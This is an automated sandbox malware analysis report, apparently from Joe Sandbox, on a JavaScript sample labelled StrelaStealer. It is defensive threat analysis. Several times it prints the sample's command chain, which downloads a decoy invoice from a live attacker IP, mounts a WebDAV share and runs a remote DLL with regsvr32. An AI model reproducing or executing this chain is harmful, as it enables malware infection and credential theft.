Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4478			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5406			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5824	Thread sleep count: 4478 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5824	Thread sleep count: 5406 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1504	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7440	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8256	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2598882062.0000018A9822B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp{e
Source: net.exe, 00000007.00000002.1366574827.000001FFD2738000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.1366102716.000001FFD279B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2601397265.0000018A9D654000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
904223203151262489.js	23%	Virustotal		Browse
904223203151262489.js	18%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/(	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/(	net.exe, 00000007.00000003.1365678646.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1366636784.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1302646964.00000228FBC6C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2601215309.0000018A9D600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/$	net.exe, 00000007.00000002.1366574827.000001FFD2738000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1365678646.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1366636784.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1366574827.000001FFD2738000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1366636784.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1366898745.000001FFD2790000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1357386983.000001FFD278E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1361007613.0000018A9D810000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589078
Start date and time:	2025-01-11 09:13:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	904223203151262489.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 23.200.0.21, 23.200.0.33, 192.168.2.10, 13.107.246.45, 52.22.41.97, 52.149.20.212, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:14:47	API Interceptor	25x Sleep call for process: powershell.exe modified
03:14:51	API Interceptor	1x Sleep call for process: net.exe modified
03:14:51	API Interceptor	2x Sleep call for process: svchost.exe modified
03:14:59	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44462735347649449.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2634817597621928878.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26804379891331232.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2598020871582219525.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2014717258213104107.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807561786452288
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9w:0J7adfWuK0p/QDfKoPeuP0aN4fqoxr
MD5:	D6843BE8F29D7F127DDF7841B80406AD
SHA1:	68059E55F5B4BB523C7FDDFEE177C171B78D6E90
SHA-256:	2BC9AFEC8847C754563054073D7F0B1FEA9EE8C05F4C1B88541705E104FBFFD2
SHA-512:	B705E1200A032D42F18A7B711DAA87E55678952A3231B8C4653C272CA669CC5FAD73EB4C93CA258EC27716EF90CC4EFE98D020F45647F086B6A0048C0890EEA0
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd2a7df0f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
